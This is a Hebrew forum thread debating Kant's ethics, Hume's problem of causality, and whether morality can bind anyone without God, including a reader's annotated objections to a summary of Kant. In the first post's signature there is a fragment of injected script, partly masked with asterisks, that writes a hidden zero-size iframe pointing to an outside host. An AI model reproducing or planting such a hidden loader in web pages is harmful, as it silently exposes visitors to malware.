אך יותר מכך. אני מבחין כאן בפער בין הראוי למצוי. התבונה גוזרת כללים כללים שאותם מזהה קאנט עם גילויים של המוסר. אבל אפשר גם לשאול כך:

מדוע שאהיה חייב לציית לתבונתי? אולי היא מכשיר שמביא תועלת בבנית העולם המוכר לי מסביבי (שהוא הרכבה של הנומן=הסיבות המסתוריות הבלתי ניתנות להכרה שהן קודמות לנסיון ויוצרות אותו אבל לעולם לא יוודעו כפי שהן). אבל האם מכשיר זה מגלה מוסר? יוצר מוסר? מה סמכותו ומה תוקפו? האם אין זה סוג של מצוי שממנו מנסי לגזור ראוי (נדמה לי שהאבחנה הזו היא משל קאנט)?

_טעויות הקלדה...________________

שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



תוקן על ידי מיימוני ב- 28/07/2011 17:02:23




דדווח על תוכן פוגעני

מנותק
נשלח ב-28/7/2011 17:39 לינק ישיר 

עודד, חן חן על התיאור היפה.
אפתח בהערה אחת על הצגת הבעייה של יום, כי הנושא שלנו כאן הוא המוסר.
אתה כותב שיום העלה את הבעיה מהי המשמעות של 'בגלל'. דומני שזה לא הניסוח המדויק. יום העלה שתי בעיות:
1. מניין שאבנו את האידיאה של הסיבתיות (או את עקרון הסיבתיות). מהי משמעותו של המושג הזה? האם הוא בכל לאומר משהו? הרי אין פתק מאמא אדמה וכו'.
2. כיצד אנחנו צופים ביחס הסיבתי הספציפי בין אירוע א' לב'. הרי היחס הזה (כמו כל יחס מופשט אחר, לא כמו 'גדול מ' וכדו'), אינו ניתן לתצפית חושית. לדוגמא, לא ניתן לראות שהכנסת העץ לאש היא הסיבה לשריפתו. ניתן לראות שהוא נשרף מייד אחרי שהוא מוכנס לשם.
יום נכנע ומקבל הגדרה מאד מינימליסטית לסיבתיות (שלצערי מקובלת כיום אצל פיסיקאים): עקיבה זמנית קבועה. קאנט מנסה להחזיר את הגלגל באמצעות תורתו הסובייקטיבית (או בעצם בין-סובייקטיבית). אנחנו מחוקקים את הסיבתיות. היא חצובה מהתשתית של הכרתנו שלנו (כחלק מהתנאים לכל ניסיון שבאפשר). לדעתי הוא שופך את התינוק עם המים, אבל אני אטען את הטענה הזו להלן לגבי המוסר.
כדי להבין את ההבדל בין שתי הבעיות היומיאניות, אומר שגם אם היתה לנו אינדיקציה מאמא אדמה שלכל אירוע יש סיבה (בעיה 1 לא קיימת), זה כשלעצמו לא נותן לנו כלים להבחין ביחס סיבתי קונקרטי בין שני אירועים קונקרטיים. כלומר עדיין הצפייה בעץ שנכנס לתוך האש לא נותנת לנו את היחס הסיבתי בין שני האירועים. בעייה 2 בעינה עומדת.
קאנט עונה על הבעייה הראשונה בתשובה הסובייקטיבית הנ"ל. והשאלה השנייה נעלמת מאליה, שכן באמת לא ניתן להבחין בזה. אמנם כך אנחנו רואים אירועים כאלה, אבל זה בגלל מבנה ההכרה והחשיבה שלנו. אין כאן במה להבחין (שהרי בעולם כשעלצמו אין יחס סיבתי בין אירועים).

כעת אני עובר לאתיקה. ושוב, בקצירת האומר. אציג את הביקורת (=ביקורת ביקורת התבונה המעשית) משתי זוויות:

1. זווית ראשונה. צורה אחת לראות את הבעיה היסודית עם האתיקה הקאנטיאנית כבסיס למוסר אתיאיסטי-מטריאליסטי היא הבאה: האנלוגיה בין התבונה הטהורה לתבונה המעשית לוקה בפגם עקרוני וחשוב מאד. בתבונה הטהורה מתואר עולם שקיים כשלעצמו (הנואומנה), וקיימת התמונה שמתקבלת אצלנו אחרי צפייה עליו, שהיא תוצאה של כלי ההכרה שלנו (הפנומנה). אבל בתבונה המעשית על פי קאנט יש רק פנומנה ללא נואומנה. אין קורלאט חיצוני שעומד מול התמונה הפנימית שבתוכינו. וזו כל הבעייה כולה. אבהיר זאת יותר.
בהקשר של תבונה הטהורה: כשאני רואה צבע של שולחן, ודאי שהצבע קיים רק בהכרה שלי ולא בעולם עצמו (כשעץ נופל ביער...). אבל ברור שהצבע הזה נוצר בגלל מבנה גבישי כלשהו שקיים בשולחן כשלעצמו. השפה  וצורת התיאור של התופעות היא פונקציה של כלי ההכרה שלי, אבל יש שם משהו בחוץ, שבו כולנו צופים, וזה מה שיוצר את התמונה אצלנו בהכרה (זו אחת הבעיות במבנה הקאנטיאני. שאלו עליו מניין לו שבאמת יש נואומנה? אולי הכל אשלייה? ועוד: מניין לו שהפנומנה אצל כולנו זהה? כלומר שהיא בין-סובייקטיבית, ולא סובייקטיבית לגמרי).
ובהקשר של התבונה המעשית: לעומת זאת, התמונה שמצטיירת ב'הכרתי המוסרית', היא המצאה. אין לה קורלאט שם בחוץ שהצפייה בו מניבה את עקרונות המוסר (האתיקה שלנו). זוהי ה'חקיקה' שעליה מדבר קאנט.
אם כן, המוסר הוא המצאה שאין לה בסיס אמיתי. אנחנו מחוקקים לעצמנו, זה בדיוק כמו להשאיר לאדם שיחוקק לעצמו. האם זה באמת חוק? ודאי שלא. האם יש בסיס לטענה כלפי מי שלא מחוקק זאת לעצמו? על סמך מה? (שוב, בעיית הבין-סובייקטיביות, אלא שהפעם בצורה הרבה יותר חריפה. כי כאן הכל בתוכינו, שלא כמו בתבונה הטהורה, וכנ"ל).

2. מזווית שנייה. מהי בעצם משמעותו של כל המבנה הקאנטיאני? מדובר בעצם בהגדרות ריקות. משמעותן היא (בדיוק כמו בתבונה הטהורה) שאם יש מוסר - זו חייבת להיות הגדרתו וזה חייב להיות הבסיס האינטלקטואלי שלו. אבל השאלה היא האם יש מוסר (מחייב)? על כך קאנט אינו עונה. את זה הוא מניח, ומתוך זה הוא יוצא. השאלה היא האם אכן יש מקום לנורמות מוסר מחייבות כשהאדם הוא המחוקק שלהן עבור עצמו? על כך קאנט אינו עונה מאומה!!!
קאנט מניח שחייבות להיות נורמות כאלה, או צו מוסרי כזה, ומתוך נקודת המוצא הזו הוא מנסה להגדיר מה תהיה צורתן ואופיין של הנורמות הללו, וכך הוא מגיע לצו הקטגורי שלו. אבל השאלה הגדולה (וזו השאלה שנשאלה באשכול על למה לרצוח) היא האם הן ישנן, ולא כיצד זה באפשר שהן ישנן?
הדבר מאד דומה למה שקאנט עצמו בביקורת התבונה הטהורה שואל: כיצד הכרה מדעית (משפטים סינתטיים-אפריורי) היא באפשר? ולא כמו שיום שאל: האם היא באפשר? יום פקפק בסיבתיות (ולבסוף דחה אותה), ואילו קאנט הניח את קיומה (ולא הוכיח), ורק שאל כיצד ייתכן שאנחנו חושבים (ללא שום אינדיקציה חיצונית) שהיא קיימת. הוא ענה על כך שהיא לא קיימת אלא בתוכינו. ממש מקביל למהלך המוסרי.

לכן קאנט שחשב שיום עורר אותו מתרדמתו הדוגמטית, בעצם עדיין ישן עמוק בתוכה. הוא רק משלה את עצמו שהתרדמה הזו היא ערנות. הוא הופך את סימן השאלה לסימן קריאה. אגב, הוא עצמו ברפלכסיה יפה מאד, אומר זאת על עצמו (שהוא לא שואל האם אפשר אלא כיצד ייתכן שזה באפשר. הוא מניח את האפשרות ולא מנמק אותה או מוכיח אותה).

ומכאן ברור שבעיית האשכול בלי אלוקים מדוע לא לרצוח, בעינה עומדת. המבנה הקאנטיאני לא מעלה ולא מוריד לגביה.
רק אם לוקחים את מושג האלוקים של קאנט רחוק יותר, ורואים באלוקים גורם מחוקק, זה יכול לתת לנו גם בסיס נורמטיבי למוסר (ולא רק הגדרה שלו). זהו השימוש שיכולה לעשות אמונה דתית (ורק היא) בניתוח הקאנטיאני. הניתוח כולו יכול להיות נכון, אבל זה בהנחה שאכן יש מוסר. ומכיון שרק אמונה יכולה להוביל למסקנה שאכן יש מוסר מחייב, כעת אפשר להתחיל את הניתוח הקאנטיאני ולהחיל אותו על הנחות החשיבה הדתית.




דדווח על תוכן פוגעני

מנותק
נשלח ב-28/7/2011 19:09 לינק ישיר 

הרב מיכי: האם אתה לא בעצם אומר (במילים האחרונות שלכם) בידיוק מה שביקרת את קאנט לפני זה, 




דדווח על תוכן פוגעני

מנותק
נשלח ב-28/7/2011 19:58 לינק ישיר 

אני לא למדדתי את הספרים החיצוניים בל"ז

אבל אייך שאני מבין את ההסבר של עודד היקר ואת הרב מיכי היקר,

אני חושב לומר שאין מחייב, המושג מחייב זה מושג תבוני, בטבע אין מחייב אנו אומרים סיבה ותוצאה פירושו מחייב, (כלומר המצאנו שהסיבה מחייבת את התוצאה,האם לא זה טענת יום ??) במילא מוזר היא השאלה מי מחייב, אין באמת מחייב,

ולכן התבונה מחייבת מעצמה, אפשר לא להיות מחוייב לתבונה, ואז אנו מקריים כמו הטבע, ועצם זה שאפשר להיות לא מחויב לתבונה, זה עצמו מוכיח שאין מחייב,
מחייב או לא מחייב אפשרי בתבונה, ולא אפשרי בדטרמיניזם ובטבע ששמם הכל מקרי, ומה שלא מקרי בטבע אז התבונה טוענת שיש מחייב שהיא הסיבה, שהיא מחייבת את התוצאה, וכאן התבונה טוענת שאם אנו רוצים תוצאות כל שהם חייבים לחייב\לחוקק, אחרת נהיה מקריים,

לכן נראה לי אבסורד הטענה "מי מחייב"
וגם אבסורד לומר שאלוקים מחייב, כי אם מחייב אז לא יכול להיות המושג מחייב, כי פשוט היינו כך כמו שאבן הוא אבן וכמו שמים הוא מים, המושג מחייב אפשרי במקום שיש בחירה ואז יש מקום לחייב, והמחייב בעצם לא מחייב, זה רק אם ברצונך לא להיות מקרי כמו כל הדומם, ואז אתה מחייב את עצמך מתוך התבונה,

במילא ההפעלת התבונה מחייבת, אי הפעלת התבונה אין מחייב יש מקרי,



דדווח על תוכן פוגעני

מנותק
נשלח ב-28/7/2011 20:39 לינק ישיר 

מיכי, גם אם אלו-הים מחוקק מה מחייב אותנו לקבל את חוקיו?



דדווח על תוכן פוגעני

מנותק
נשלח ב-28/7/2011 20:41 לינק ישיר 

אני יכול לתת דוגמאות שהתבונה מחייבת בעצם, (תוך כדי כתיבה בפורום השכן נתתי דוגמא כזו,

http://www.bhol.co.il/forums/topic.asp?whichpage=2&topic_id=2905669&forum_id=20504
)


האדם אוכל בגלל התבונה, אחרת מי אומר לו מה חסר לו מי אומר לו שרעב וכאב בטן נפתר באוכל,
מי אומר לו ללכת לישון,
הוא אוכל כי יודע תבונית שימות בלי אוכל, הוא יישן כי יודע תבונית שצריך לישון, הוא לא אוכל מדחף טבעי, כי מי אמר לו שרעב פותרים עם אוכל, ולא ישן מי דחף טבעי כי אם כן. היה נופל באמצע הרחוב מתוך עייפות, כלמור כל התנהגות האדם היא סיבתית תבונית,

אז כמו שאנו מתוך התבונה אומרים שיש סיבתיות בטבע כך אנו רואים שיש סיבתיות מהתבונה עצמה,
כמו שאנו אומרים בטבע שהסיבה מחייבת את התוצאה, כך נאמר שהתבונה היא סיבה מחייבת את התוצאה של לאכול או לישון, 

הוא יכול לבחור לא לאכול עד שהרעב ישפיע עליו והתבונה תחייב אותו לפעול על פיה שהיא התבונה שהאוכל ירגיע את הרעב,
הוא יכול לבחור לא ללמוד כלל, ואז לא יהיה לו תבונה ואז יכשל בכל רגע במקריות ויפעל באופן מקרי והתוצאות יהיו אסון ממש,כלומר מקרי לגמרי,

אני לא רוצה לטעון מחייב ממש כי יכול לבחור לא לאכול וימות אבל הוא צריך לרצות למות קודם, כי אחרת ימות בלי שירצה בכך, כלומר המוות הם תוצאה שהוא לא רוצה בא, ואז עצם התבונה שאומרת לו שימות מחייב אותו מיד לאכול,

בקיצור נראה לי שהתבונה מחייבת מעצמה,


תוקן על ידי maxmen ב- 28/07/2011 20:52:50




דדווח על תוכן פוגעני

מנותק
נשלח ב-29/7/2011 04:42 לינק ישיר 

דייר כתב:
הוא לא העתיק מחז"ל במקרה?
זה רק נראה לי או שזה מזכיר איזו משנה בחגיגה?
מזכיר גם את רבי נחמן בעניין החקירות ואת שאלות על החלל הפנוי.

קאנט טוען כי התבונה שלנו היא סופית ומוגבלת. יש גבולות ליכולות שלה. כאשר התבונה שלנו חורגת מעבר לתחום היכולת שלה, היא יוצרת אשליות ומסתבכת בסתירות.

החריגה הזו אינה קפריזית, אלא היא נובעת מאינטרס מהותי של התבונה: להשיג את היסוד המוחלט של הדברים. כעת הגיע הזמן שהתבונה תסמן את הגבולות שלה ותכיר בחוסר אפשרותה לחצות אותם ולעמוד על קרקע יציבה.



גם לי נדמה שזה מאשר את דברי ר' נחמן על החלל הפנוי. [ואגב, כבר קדם לנו בעל ספר הברית והחיי אדם בטענה זו] 
הבעיה הוא שבעוד שלספר הברית זו הוכחה שעלינו לקבל את המסורת, אני לא מבין את ההגיון שבזה בכלל, איך זה מוכיח את זה. הרי ברור שקאנט עצמו לא קיבל משום זה שום מסורת? 
הרי לפי קאנט זה מכריח אותנו לא להחליט את מה שאנחנו לא יודעים, ובעצם ממילא גם לא לבסס את המוסר על האלקים, הפוך, לקאנט האלקים מבוסס על המוסר. וזה סותר את כל יסוד הדת שאפשר לנו כן להוכיח ולהכיר את האלקים ולעבדו. 
בקיצור, נדמה שאריסטו הרבה יותר מתאים ליהדות מאשר קאנט. וזה בדיוק ההיפך ממה שאחרונים הנ"ל כתבו. 
אני מקווה שמישהו יתייחס לזה כאן. 



דדווח על תוכן פוגעני

מחובר
נשלח ב-29/7/2011 10:38 לינק ישיר 

מטפחת, לא בהכרח אבל לפחות אפשרי (מושגית ופרקטית).
אם יש גורם חיצוני אתה לפחות יכול לדבר על מחוייבות לציווייו. יש משמעות לביטוי, ויש אפשרות לחשוב שיש עליי מחוייבות כזאת. אבל אם אין שום דבר למעט חומר אז אין משמעות למילה 'מחוייבות', פרט לאשלייה (והמחשבה שיש עליי מחוייבות היא סוג של חוויה סובייקטיבית. כמו שהבאתי באשכול על למה לא לרצוח, מהסקירה על קיצור תולדות האנושות). כך גם לגבי המושג 'נורמה מוסרית', והספירה המושגית של המוסר כל משמעותה נעלמת.



דדווח על תוכן פוגעני

מנותק
נשלח ב-29/7/2011 11:30 לינק ישיר 

אני מסכים שאין מקום למוסר ולמחויבות אם מניחים מטריאליזם מוחלט.
אבל בהנחה שיש ישים לא חומריים בעולם, האם המוסר הוא אחד מהם? כלומר שהמחויבות היא לא סתם דחף או חישוב או פחד מסנקציות אלא שהיא קיימת באיזשהו מובן?



דדווח על תוכן פוגעני

מנותק
נשלח ב-29/7/2011 11:35 לינק ישיר 

דומני שזהו האלוהים הקאנטיאני.
לכן באמת כתבתי שאני לא בטוח שבעולם אתאיסטי שאינו מטריאליסטי אין לקטגוריה המוסרית מקום (אם כי אני אישית נוטה לחשוב שגם שם לא).



דדווח על תוכן פוגעני

מנותק
נשלח ב-5/8/2011 16:06 לינק ישיר 
חכמי הפורום היקרים עיזרו לי

לצערי לא הבנתי הרבה מתורת המוסר ממה שוולנד הביא אצטט דבריו עם הערות שלי באדם אשמח להבהרות ממי שיכול

 

 

א. השקפה ניוטונית.

ניוטון ביסס את מדעי הטבע המודרניים כפי שאנחנו מבינים אותם היום. הם משולבי נסיון ופיתוח מתמטי.

הסיבתיות היא אחת מהנחות היסוד של התפיסה המדעית. מי אמר? אולי היא פרי הנסיון? אתאר תצפית קטנה: ילד משחק עם עשרים גולות במשך שעה. נחלק את השעה ל 10,000 חלקים לכל חלק נקרא רגע. התצפית העלתה את הנתונים הבאים. גולה מס' 1 זזה ברגע X . בגולה מס' 1 פגעה גולה אחרת ברגע X . אפשרות א: גולה יכולה לזוז בלא שום דבר שיפגע בה זה שהיא זזה ברגע שפגעה בה גולה אחרת זה מקרה שהסתברותו היא 1 ל10,000 אפשרות ב פגיעת הגולה האחרת בה גרמה את את תזוזתה. גולה מס' 2 זזה ברגע Y ובאותו רגע גם פגעה בה גולה אחרת אפשרות א: גולה יכולה לזוז בלא שום דבר שיפגע בה וכו' הסבירות היא 1 ל 10,000 אבל בצירוף הנתונים מגולה 1 הסבירות כבר נמוכה הרבה יותר וכו' וכו' ומנתוני התצפית על 20 הגולות הסיכוי שהכל מקרה הוא שואף לאפס לכן תופעת הסיבתיות היא מסקנה מתצפיות. (בעיקרון אפשר להציע אפשרות שלישית שתופעה אחרת גרמה את שני הדברים את תזוזת הגולה והן את פיגעת הגולה האחרת בה לכן הם קרו באותו זמן אבל גם אפשרות זו אומרת שיש סיבתיות)

 

סיבה פועלת על גוף ומשנה את מצבו. עלינו להבין את חוקי הסיבתיות שעל פיהן גוף אחד פועל על גוף אחר, ולנסח זאת במשוואות מתמטיות. למשל, אני זורק אבן מידי. בגלל שהפעלתי כח על האבן, היא נעה באויר במסלול מסוים וסופה שהיא נופלת לארץ. כל הארועים האלו נתנים למדידה ולביטוי מתמטי מדויק. בעזרת הביטוי המתמטי אוכל לחשב מראש איזה כח להפעיל על אבן במשקל מסוים כדי שתגיע למרחק מסוים.

 

ב. הספקנות של יום.

דוד יום Hume, פילוסוף סקוטי חריף אינו מטיל ספק בצורך המעשי של הפיסיקה להשתמש בסיבתיות. הוא שואל שאלה אחת קטנה: מה התוקף של המילה בגלל? אני רואה את היד המחזיקה באבן. אני רואה את התנועה שלה באויר, את הפגיעה באדמה. אפשר לחזור על הניסוי הזה. אבל מאין צצה לה המילה בגלל? אני לא מבין את השאלה כל מילה מאין צצה? תבונת האדם מתארת במילים תופעות מאין באה המילה עץ? מאין באה המילה גדול? אף אחד עוד לא חפר באדמה, מצא קופסה ובה מכתב האומר: 'כל דבר קורה בגלל סיבה.' על החתום: 'אמא טבע'. אף אחד לא חפר באדמה ומצא קופסא ובה מכתב האומר 'דבר זה וזה נקרא עץ' וכשאני רואה מולי הר קטן והר גדול אף אחד לא חפר באדמה ומצא קופסא ובה מכתב האומר ההר הזה יותר גדול מזה מי אמר שבכלל יש מושג כזה קטן וגדול? יום טוען שאולי זה צרוף מקרים מוצלח יתכן אם יש לנו הנחת יסוד שלכל דבר יש סיבה ממילא נפלה האפשרות הזאת ואם משום התצפיות שמראות לנו שהסבירות למקריות מהסוג הזה היא אפסית אבל אי אפשר לומר שיש לנו הכרה ודאית אם זו הנחת יסוד אז יש לנו ואם זו על סמך תצפיות אז יש לנו הכרה של 999.999999% שפועל כאן איזה 'יצור' מוזר המכונה 'סיבה'.

כאשר חושבים על הכרה ודאית, מתכוונים קודם כל למתמטיקה. כשאני קם בבוקר ורואה את השמש זורחת יש לי הכרה ודאית שהשמש זורחת אני לא מכיר אף אחד שמטיל ספק בכך אף אחד אינו מטיל ספק במשפט פיתגורס. למה? למה שיטיל ספק במה שהתבונה אומרת שהוא ודאי? ומה זה שייך לודאות או אי הוודאות של הסיבתיות

 

בקיצור:

ישנה אפשרות אחת שעיקרון הסיבתיות הוא הנחת יסוד של התבונה. שאלת יום: למה לסמוך על הנחת יסוד זו הרי אני לא רואה באופן ישיר באופן בילתי אמצעי את העיקרון הזה בעולם.

לטעמי שאלה חלשה מאוד אם התבונה אומרת שהעיקרון נכון לא ראינו אינה ראיה ובמיוחד שגם את העיקרון עצמו לא ראינו תוצאות של העיקרון אנו רואים בלי סוף.

אפשרות שניה עיקרון הסיבתיות הוא מסקנה של התבונה מנתוני תצפיות על העולם. שאלה יום: למה לסמוך על מסקנה זו היא לא מוכרחת ב100% וגם אני לא רואה באופן ישיר באופן בילתי אמצעי את העיקרון הזה בעולם.

גם שאלה זו חלשה לטעמי.

אעיר שעצם ההבחנה שאת עיקרון הסיבתיות איננו פוגשים ישירות בעולם היא אבחנה גאונית יפה וחשובה אבל זה עדיין לא מעורר קושי למה אנו סומכים על עיקרון זה. גם את האסקיומה דרך שתי נקודות עובר ישר אחד בלבד אנו סומכים עליו בלי לפגוש בעולם.

בכל אופן אני מבין שמאמר זה הולך לפי הצד שעיקרון הסיבתיות הוא הנחת יסוד.

 

 

ג. התשובה של קאנט.

קאנט מודה שיום העיר אותו מהחשיבה הדוגמטית המקובלת וגרם לו לפתח שיטה ביקורתית.

הוא קורא לכך המהפכה הקופרניקאית השניה.

אלפי שנים היו הכל בטוחים שהשמש מסתובבת סביב הארץ. רואים. כתוב. בא קופרניקוס והציע נקודת מבט חדשה: הארץ מסתובבת סביב השמש. הרעיון החדש התגלה כמוצלח יותר, נותן תוצאות טובות יותר.

 

מהי המהפכה של קאנט?

אם 'אמא טבע' לא חוקקה עבורי את חוק הסיבתיות, התבונה שלי תחוקק אותו. אם הטבע לא יכול לכוון את ההכרה שלי, התבונה שלי תכוון את הטבע. ???? התבונה שלנו מכוונת את הטבע??? התבונה שלנו יוצרת את עיקרון הסיבתיות???? הרעיון הזה משונה בערך כמו הרעיון שמפלצת ספגטי מנהלת את העולם

 

האדם הרגיל משוכנע כי הוא תופס את מה שיש שם בחוץ כפי שהוא באמת. קאנט מבטל את התפיסה הזו ומשיב: אתה תופס על פי המבנה של התבונה, ועל פי האינטרסים ??? הכוונה לנגיעס של בעלי המוסר???  שלה לתפוס ולהכיר. את מה שיש שם בחוץ באמת אנחנו לא יכולים לדעת. אנחנו קולטים נתוני תחושה מבחוץ ובונים מהם את התופעה ??? אנחנו לא בונים את התופעה!!! אנחנו אומנם לא תופסים את התופעה כמות שהיא אלא רק תכונות של התופעה שמשפיעים על אברי החישה שלנו ולתכונות אלו אנו נותנים שמות והגדרות. אנו לא בונים שום תופעה אנו 'בונים' שמות והגדרות לתכונות משפיעות קיימות של תופעה קיימת. רק עולם התופעות – העולם הנסיוני של הפיזיקה, – כפי שאנו בונים אותו, הוא הנתון לנו, ולא מה שמעבר לו.

איזו מהפכה עצומה! איזה מחיר נצטרך לשלם עליה! ההבנה שאיננו תופסים את עצם הדבר שלפנינו אלא רק השפעות מסוימות מתוכונת מסוימות שלו היא אכן מהפכה. אבל אני לא רואה איזה מחיר יש לזה.

כמובן, צריך להראות שהיא מוצדקת ישימה ונכונה.

 

ד. תבונה

התבונה אינה לוח שהעולם החיצוני מטביע עליו את צורתו, ואינה רק אוסף כלים לביצוע פעולות מסוימות. התבונה היא פעילות מאורגנת ומכוונת של התודעה, שיש לה  מטרות???, והיא פועלת באופן אקטיבי לפי האינטרסים שלה??? כדי לבנות את עצמה במבנה מסוים ולממש את המטרות שלה.

 

מאז ומתמיד בני אדם שאלו את עצמם שאלות שלא יכלו להימנע מהן כיוון שהתבונה שלהם כפתה אותן, ולא יכלו להשיב עליהן, משום שהדבר הוא מעבר לכוחה של התבונה. למשל, האם יש סיבתיות בלבד או גם חירות? האם העולם קדמון או מחודש בזמן? האם נוצר מתוך סיבה או במקרה? מהם היסודות האחרונים של העולם? האם יש מהות הכרחית כל יכולה או אין? האם יש איזה חומר פשוט או לא? איך הוא העולם כמכלול אחד שלם? כולנו מתקשים להבין מה הם באמת החלל והזמן. האם העולם טוב ורע? האם יש צדק? האם קימת הישארות הנפש?

לעומת המתמטיקה והלוגיקה, שנתנו תמיד ידיעות ודאיות, בכל יתר התחומים לא השגנו תשובות מספקות, והתבונה הסתבכה בכל מיני סתירות ובעיות. הבעיה של התבונה במה שיש לה שאיפות שהן מעבר ליכולות שלה, וכשהיא חורגת מן היכולות שברשותה, היא בונה 'ארמונות בשמים' שאין להם ביסוס של ממש.

קאנט מסכם את כל מגוון השאלות הזה בשלוש שאלות יסוד:

1. מה אני יכול לדעת? – זו שאלה עיונית של התבונה.

2. מה אני רשאי לעשות? – זו שאלה מעשית של התבונה.

3. למה אני רשאי לקוות? – זו שאלה עיונית ומעשית גם יחד.

שאלות יפות. אני לא רואה איך הם סיכום של השאלות דלעיל. אוסיף שהשאלה השלישית קצת משונה בעיני.

 

הגיע השלב שבו התבונה צריכה ויכולה להביט בעצמה ולבקר את עצמה. לגלות את המבנה שלה, את היכולות שלה ואת הגבולות שלה. יש לתבונה יכולת להקים 'בית דין' פנימי שישפוט את הכשרים שלה ויקבע את הגבולות שלה. הוא כותב את שלשת ספרי הביקורת שלו, – זה מפעל חייו של קאנט, – בקורת התבונה הטהורה, בקורת התבונה המעשית, ובקורת כח השיפוט.

 

המילה 'טהור' מאז משמעה הוא דבר שנתון לנו מחוץ לנסיון. המתמטיקה היא מדע טהור, כי היא בונה את המושגים והמשפטים שלה בשימוש התבונה בלבד, ובלי לערב את הנסיון. לכן (א) התבונה תמיד תאשר את המשפטים של המתמטיקה. עובדה זו גורמת לוודאות האוביקטיבית של המתמטיקה, ו (ב) להיותה כפויה בהכרח על כל היצורים בני התבונה.

מעשה הבדיקה והחקירה הזה הוא ביקורת של התבונה הטהורה, שנתונה לנו מחוץ לנסיון. המדע הבודק את התבונה והנפש הנתונים לנו בנסיון הוא הפסיכולוגיה. אלו שני מדעים נפרדים. הראשון טהור, השני נסיוני.

 

ה. יכולת הבניה של התבונה.

כשאני אומר: 'יש לי מכונית רגילה', הקורא יודע מה כלול במושג הזה 'מכונית רגילה': מנוע, ארבעה גלגלים, הגה, מיכל דלק, דוושת דלק דוושת בלמים, בלם יד, מושבים, דלתות, חלונות... הוא לא צריך לעשות דבר מלבד לנתח את המושג 'מכונית' שקיים אצלו. שום ידע לא נוסף לו. הידיעה הזו היא ודאית, כי 'מכונית רגילה' בלי מיכל דלק היא לא 'מכונית רגילה'.

כשאני שואל: 'איזה צבע יש למכונית שלי?', אין לקורא מושג. הדרך היחידה לענות על השאלה היא ללכת ולראות את המכונית. לבצע נסיון. מצאנו שהמכונית אדומה. הנסיון מוסיף לנו מידע על המכונית שלא היה לנו קודם.

 

שאלה: האם יש לתבונה משפטים שמוסיפים לנו ידע בלי ניסיון, לפני כל נסיון?

 

קאנט משיב: כן ! כאשר אני מנסה להשיב על השאלה כמה הם 5 ועוד 7, התשובה אינה מצויה ב 5 ו ב 7. אני צריך לבצע הרכבה של יחידות, צעד אחר צעד, ולקבל את התוצאה 12. נוסף לנו מידע, אבל מידע זה נעשה על ידי השכל, בלי צורך לצאת החוצה ולקבל נתונים מבחוץ על ידי החושים.

 

המסקנה: משפטי המתמטיקה מוסיפים לנו ידע, אבל הידע הזה הוא 'טהור'. ידע שאינו תלוי בניסיון, והוא קודם לכל נסיון. כשאצטרך לספור בנסיון תפוחים או כפתורים אעשה זאת על ידי המשפטים של המתמטיקה שנתונים לי לפני הנסיון. המשפטים האלו מאפשרים לי לבצע את הנסיון. איזה נסיון מאפשר לי המידע ש 7+5=12 לבצע?

 

שאלה: האם יש לתבונה שלנו עוד משפטים שמוסיפים לנו ידע, אבל הידע הזה הוא 'טהור', לא ידע שבא מהניסיון, אבל ידע שיאפשר את הנסיון?

 

איך אני יכול לבדוק ולהשיב על השאלה הזו? זכור, הבדיקה צריכה להעשות בתוך התבונה, בלי לצאת החוצה ולעשות נסיון.

התבונה שלנו משתמשת בשפה. זה הביטוי הפנימי שמצוי בה. השפה בנויה ממשפטים. אם ננתח את המשפטים של השפה, נגלה את הקטגוריות שקימות בתבונה ומאפשרות לנו לתפוס דברים וקשרי דברים במציאות.

סוג אחד של משפטים הוא משפטי סיבה. 'לכל תופעה יש סיבה'.זה על הצד שעיקרון הסיבתיות הוא הנחת יסוד זה משפט שמוסיף לנו ידע על התופעה: יש סיבה לקיומה של התופעה הזו. כשאני רואה יד אוחזת אבן, והיד מפעילה כח, והאבן עפה באויר, אז התבונה שלי אומרת את המשפט הבא: האבן עפה באוויר בגלל שהיד השליכה אותה. המילה 'בגלל' נאמרה כי התבונה שלנו הוסיפה לנתונים של ההכרה את הקטגוריה הסיבתית ויצרה משפט נסיוני. מה זה משפט נסיוני. איזה נסיון כעת אפשר לערוך שלא היה אפשר לערוך קודם? גם בלי קבלת עיקרון הסבתיות אפשר לערוך כל נסיון שרוצים רק אז ניתוח התוצאות יהיה אחר.

 

המסקנה של קאנט: לתבונה שלנו יש קטגוריות טהורות, המצויות בתוכה לפני כל נסיון. כאשר ההכרה מקבלת מבחוץ נתונים מסוימים, היא מארגנת אותם מקשרת אותם על ידי קטגוריות מתאימות, ויוצרת משפט נסיוני : האבן עפה בגלל שהשלכנו אותה. הקטגוריות חלות על מושאי הטבע שבנסיון.

 

לא כל כך פשוט, התאור למעלה בא על מנת לסבר את האוזן בקריאה ראשונה.

באמצעות החושים, ההכרה קולטת חומר של תחושה.

את החומר הזה ההכרה מסדרת ומארגנת בצורות הסתכלות כלליות שנמצאות בההחלל והזמן. בחלל אני מארגן תחושות זו לצד זו, ובזמן, תחושות הנמצאות זו עם זו או זו לאחר זו, ויוצר תופעה. התופעה מוצגת לשכל, והוא, בעזרת הקטגוריות, יוצר מושגים ומשפטי נסיון.

 

זו מסקנה מהפכנית. התבונה שלנו אינה מקבלת נסיון מוכן מבחוץ היא בכלל לא מקבלת נסיון משום מקום לא מוכן ולא לא מוכן התבונה מקבלת נתוניםהתבונה שלנו בונה בעצמה את הנסיון מחומרים שהיא קולטת מבחוץ, בעזרת כלים שמצויים בידה. לא 'אמא-אדמה' או 'אמא טבע' הודיעה לנו על חוק הסיבתיות. התבונה שלנו היא בעלת החוק הזה, והיא שיוצרת לנו בעזרתו את הניסיון.

כל עולם התופעות הנסיוני, – העולם שתופסת הפיזיקה, – אינו נתון לנו בחוץ. אנחנו לא מביטים ורואים עולם. אנחנו בונים את העולם הנסיוני על ידי התבונה, על פי הכלים שבידיה.

.

העולם שבנינו אינו חלום, דמיון או הזיה. הוא עולם אובייקטיבי. כל העולם הנסיוני שהתבונה בונה, הוא עולם מאורגן שפועל על פי חוקים, ( חוק הסיבתיות הוא אחד מהם), כיוון שכך בנתה אותו התבונה.

